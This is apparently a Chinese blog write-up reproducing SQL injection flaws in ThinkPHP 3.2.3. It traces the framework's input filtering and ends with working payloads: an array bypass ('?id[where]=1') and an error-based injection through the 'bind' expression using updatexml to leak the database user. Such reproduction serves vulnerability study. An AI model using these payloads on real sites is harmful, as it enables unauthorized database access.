Thinphp3.2.3--Sql注入复现
前言
学习了Yii框架,接下来进入TP的世界。
复现
环境
官方源码下载https://www.thinkphp.cn/donate/download/id/610.html
在ThinkPHP/Conf/convention.php
配置数据库即可.
连接数据库
配置控制器 Application/Home/Controller/IndexController.class.php
在这里需要了解tp3的内置方法
A 快速实例化Action类库
B 执行行为类
C 配置参数存取方法
D 快速实例化Model类库
F 快速简单文本数据存取方法
L 语言参数存取方法
M 快速高性能实例化模型
R 快速远程调用Action类方法
S 快速缓存存取方法
U URL动态生成和重定向方法
W 快速Widget输出方法
比如:
//使用M方法实例化
$User = M('User');
//和用法$User = new \Think\Model ('User');等效
echo I('get.id'); // 相当于 $_GET['id']
echo I('get.name'); // 相当于 $_GET['name']
// 采用htmlspecialchars方法对$_GET['name'] 进行过滤,如果不存在则返回空字符串
echo I('get.name','','htmlspecialchars');
注入分析:
先看看正常查询的过程
给options赋array(),继续跟进
重点在这里,正常会进入这个判断
继续跟进
应为这里id是varcahr,都不匹配,直接跳出。进行查询
查询成功,返回即可
试试 1'
,仍然回显正常,可能存在过滤。跟进一下
先看 I
函数
elseif(isset($input[$name])) { // 取值操作
$data = $input[$name];
$filters = isset($filter)?$filter:C('DEFAULT_FILTER');
//$filter的默认方法是DEFAULT_FILTER,也就是htmlspecialchars
if($filters) {
if(is_string($filters)){
$filters = explode(',',$filters);
}elseif(is_int($filters)){
$filters = array($filters);
}
foreach($filters as $filter){
if(function_exists($filter)) {
$data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤
htmlspecialchars
函数过滤后,值仍然不变
返回data
,回到find函数,发现新的函数
此时的id没有变化,跟进函数,成功进入了这个if条件
此时
继续跟进 __parseType
函数
可以看到这是数据检测的功能,由于 id
的类型是 varchar
,所以直接跳出了循环
继续回到了find()函数,此时id
的值仍然没有变
进入select语句中,
我们这里是 options['where']
,所以根据 parseWhere
,进入了parseValue
跟进
this->escapeString($value) : '\''.$this->escapeString($value).'\'';
# id=1' ---> id='1\''
发现最终的sql语句为
SELECT * FROM `users` WHERE `id` = '1\'' LIMIT 1
#查询失败
所以常规注入是不行。。
数组绕过
payload:?id[where]=1
这样会直接绕过这个if判断语句。即对id的类型不做判断,inval函数无法执行
这里直接赋值,不会进入else数组表达式
也就是 where 1
发现sql语句
"SELECT * FROM `users` WHERE 1 LIMIT 1 "
# 注入成功
两种方法的区别
$options=array(
'where'=>array(
'id'=>'1'
)
);
现在是
$options=array(
'where'=>'1'
);
tp32---blind注入
复现环境
index控制器中输入:
$User = M("Users");
$user['id'] = I('id');
$data['tp'] = I('tp');
$value = $User->where($user)->save($data);
var_dump($value);
漏洞复现
传输 id[0]=bind&id[1]=aa
跟进 M
方法
正常返回了 数据库信息 $_model[$guid]
,继续跟进 I
方法,读取到get参数
tp
参数也一样
然后跟进 save
函数,此函数将 tp=“1”
变成了 tp=1
又进入了 parseOptions
跟进
可以看到,使用 array_merge
将 this->options
赋给了options,然后返回值仍然是
继续跟进,发现 update
,跟进
函数array_walk:对数组中的每个元素应用用户自定义函数:
implode:数组连成字符串
跟进 parseSet
函数
is_scalar() 函数用于检测变量是否是一个标量。
标量变量是指那些包含了 integer、float、string 或 boolean 的变量,而 array、object 和 resource 则不是标量。
trim()
函数移除字符串两侧的空白字符或其他预定义字符。
跟进parseKey,只是对 key
,也就是 tp
过滤,并且添加反引号,继续跟进 bindParam
此时的sql语句
继续跟进,进入了 parseWhere
,也就是拼接where后的语句
跟进
在parseWhereItem
发现注入点
构造sql语句
最后,进入excute()函数
strtr()
函数转换字符串中特定的字符。
array_map()
函数将用户自定义函数作用到数组中的每个值上,并返回
可以看到前后sql语句变化,将 :0
替换成 '1'
Payload:
?id[0]=bind&id[1]=0%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)&tp=1
本文来自博客园,作者:kzd的前沿思考,转载请注明原文链接:https://www.cnblogs.com/Fram3/p/15865971.html